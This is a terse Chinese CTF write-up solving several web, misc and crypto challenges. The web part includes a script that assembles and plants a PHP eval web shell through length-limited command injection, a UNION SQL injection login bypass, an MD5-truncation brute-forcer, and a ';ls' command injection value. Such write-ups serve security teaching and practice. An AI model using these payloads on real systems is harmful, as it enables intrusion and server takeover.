打开页面发现源代码
GET 1必须小于八位
a.py :
\#!/usr/bin/python
\# -*- coding: UTF-8 -*-
import requests
url = "http://119.61.19.217:50070/exec.php?1={0}"
print("[+]start attack!!!")
with open("payload.txt","r") as f:
for i in f:
print("[*]" + url.format(i.strip()))
requests.get(url.format(i.strip()))
\#检查是否攻击成功
test = requests.get("http://119.61.19.217:50070/exec.php")
if test.status_code == requests.codes.ok:
print("[*]Attack success!!!")
$$ Payload.txt:
>hp
>1.p\
>d>\
>\ -\
>e64\
>bas\
>7|\
>XSk\
>Fsx\
>dFV\
>kX0\
>bCg\
>XZh\
>AgZ\
>waH\
>PD9\
>o\ \
>ech\
ls -t>0
sh 0 $$
访问:view-source:119.61.19.217:50998/index.php~
发现源码:
然后$pass这块我们要输入和加密md5一样的值, 他们的条件就成立了 就能获得flag了
通过post发送
user: 1’ and 1=2 union select
concat(‘21232f297a57a5a743894a0e4a801fc3’)#pass : admin
即可拿到flag!
用脚本跑:
import hashlib
from multiprocessing.dummy import Pool as ThreadPool
\# MD5截断数值已知 求原始数据
\# 例子 substr(md5(captcha), 0, 6)=60b7ef
def md5(s): # 计算MD5字符串
return hashlib.md5(str(s).encode('utf-8')).hexdigest()
keymd5 = 'da29f1' #已知的md5截断值
md5start = 0 # 设置题目已知的截断位置
md5length = 6
def findmd5(sss): # 输入范围 里面会进行md5测试
key = sss.split(':')
start = int(key[0]) # 开始位置
end = int(key[1]) # 结束位置
result = 0
for i in range(start, end):
\# print(md5(i)[md5start:md5length])
if md5(i)[0:6] == keymd5: # 拿到加密字符串
result = i
print(result) # 打印
break
list=[] # 参数列表
for i in range(10): # 多线程的数字列表 开始与结尾
list.append(str(10000000*i) + ':' + str(10000000*(i+1)))
pool = ThreadPool() # 多线程任务
pool.map(findmd5, list) # 函数 与参数列表
pool.close()
pool.join()
得到url:119.61.19.217:50071/4e6333ed08642de989aa4af8ec40941d.php
119.61.19.217:50071/4e6333ed08642de989aa4af8ec40941d.php?ip=127.0.0.1;ls
命令注入,但是好像环境有问题。
通过dirsearch直接扫描得到flag.php
拿到flag
Dirsearch 扫描目录得到
view-source:119.61.19.217:51301//.index.php.swp
只要我们让file_text内容等于config.php的$test666的值就能拿到flag.
view-source:119.61.19.217:51301/index.php?file=config.php
得到config.php内容
得到flag
扫描得到1.htaccess
得到
直接访问:119.61.19.217:50987/ctf_C1n_Fl4G
得到flag
尾部有音乐加密的密钥解密一下
255,165,0
255,0,0
255,255,0
0,128,0
0,255,255
0,0,255
128,0,128
255165255255255128255255255128128
直接跑高度,修改就出flag
0010 0100 01 0100 1001 100 0001 110 10
…-. .-… .- .-… -…- -… …- --. -.
474FA66E4562828A772BC49CAE52AAD4
11011011101011011001111100010
佛曰解密
U2FsdGVkX19PNzVW96O4NOwIMRlbvcuHUpzSkdInC/086i4qWjwiziuu9rOnZpEFJwX9Qs4G
解 乃斐氏列与斐氏列二之解,加之。
简单的RSA。
直接上工具解
需要注意的是e不要写成16进制的11就好了,然后到在线md5加密加密下就好了
直接python2跑一下,发现sorry字样,查看代码发现有个地方改下就好了
然后得到base64字符串,解密下就得到flag,需要注意的是,有几次加密的md5几个字母会有偏差。
经过测试这个才是最终flag
4 | 5 | 2 | 1 | 3 |
---|---|---|---|---|
l | h | o | e | a |
P | k | R | S | f |
{ | p | U | O | } |
g | j | l | n | a |
g | S | k | K | R |
esOnKoRulkaf}aRlP{gghkpjS